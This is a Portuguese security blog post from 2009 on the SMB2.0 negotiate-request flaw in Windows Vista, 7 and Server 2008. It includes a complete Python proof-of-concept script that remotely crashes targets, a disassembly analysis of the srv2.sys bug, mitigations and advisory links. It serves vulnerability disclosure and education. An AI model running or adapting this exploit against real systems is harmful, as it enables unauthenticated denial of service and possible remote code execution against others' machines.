terça-feira, 8 de setembro de 2009

Windows Vista, 7 e 2008 Server : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

B.S.O.D. - Blue Screen of Death (Tela Azul da Morte) é uma tela apresentado nos sistemas operacionais Windows em caso de erro grave de sistema.

SMB - Server Message Block funciona como um aplicativo de nível rede, utilizado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre pontos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam os sistemas operacionais Windows em ambientes de rede.

Hoje acordamos com um aviso publicado por Laurent Gaffie onde uma possivel falha nos drivers SMB v2.0 (utilizados nos sistemas Windows Vista, 7 e 2008 Server) poderia causar um B.S.O.D.

A Falha:

Para estabelecer uma comunicação, o cliente envia uma menssagem para o servidor, chamada de NEGOTIATE PROTOCOL REQUEST, esta menssagem é utilizada para identificar o dialeto utilizado para futuras comunicações.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.

O Código para exploração:

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket

from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Para quem utiliza o Metasploit, também já existe disponivel um módulo para exploração desta falha

Utilizando engenharia reversa, podemos analisar o codigo e ver como a falha acontece - Módulo: Srv2.sys :

Code (asm)
; int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
_Smb2ValidateProviderCallback@4 proc near


.text:000156B3 loc_156B3:                              ; CODE XREF: Smb2ValidateProviderCallback(x)+4D5j
.text:000156B3                                         ; Smb2ValidateProviderCallback(x)+4DEj
.text:000156B3                 movzx   eax, word ptr [esi+0Ch]; packet->SBM_Header->Process_ID_High
.text:000156B7                 mov     eax, _ValidateRoutines[eax*4]; FALLO - out-of-bounds dereference.
.text:000156BE                 test    eax, eax
.text:000156C0                 jnz     short loc_156C9
.text:000156C2                 mov     eax, 0C0000002h
.text:000156C7                 jmp     short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9:  ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9                 push    ebx
.text:000156CA                 call    eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate(x) - KABOOOM!!
 













Como você pode ver, [esi +0 xc] aponta para o nosso pacote, exatamente para o campo de cabeçalho ProcessIDHigh cujo tamanho é de 16 bits. Podemos controlar inteiramente este valor. Mais tarde, esse valor é usado como índice para um ponteiro de função dentro do _ValidateRoutines tabela de funções. Bug Classico ! o código não está verificando o tamanho da tabela antes da referência ao ponteiro de função. Esta é a razão pela qual esta é uma vulnerabilidade de execução remota de código e não apenas uma negação de serviço. E esta é a razão pela qual, a exploração pode ou não travar a máquina. Se a página apontada pelo índice é inválido o sistema irá BSOD caso contrário ele pode falhar em outro ponto ou simplesmente não a falhar.

Como se proteger:

Ainda não há uma correção disponivel pela Microsoft, portanto, podemos filtrar o acesso ao protocolo TCP na porta 445 com um firewall, ou desabilitar o protocolo SMB2

Sistemas afetados:

Windows Vista, Windows 7 e Windows 2008 Server

Assim que tiver mais detalhes sobre esta falha... atualizarei o post ! :D
OBS: quem conseguir controlar esse ponteiro na hora do estouro da pilha num vai prestar !!! kkk pode apontar para execuçao de qualquer programa na memória, e já que a falha não necessita autenticação... Oo ;)

Referencias:

http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx

Imagem do B.S.O.D.:




Updated: [09/10/2009 - 11:10 a.m.]

Microsoft Security Advisory (975497) Vulnerabilities in SMB Could Allow Remote Code Execution
US-CERT - Microsoft Releases Security Advisory 975497

Nenhum comentário:

Postar um comentário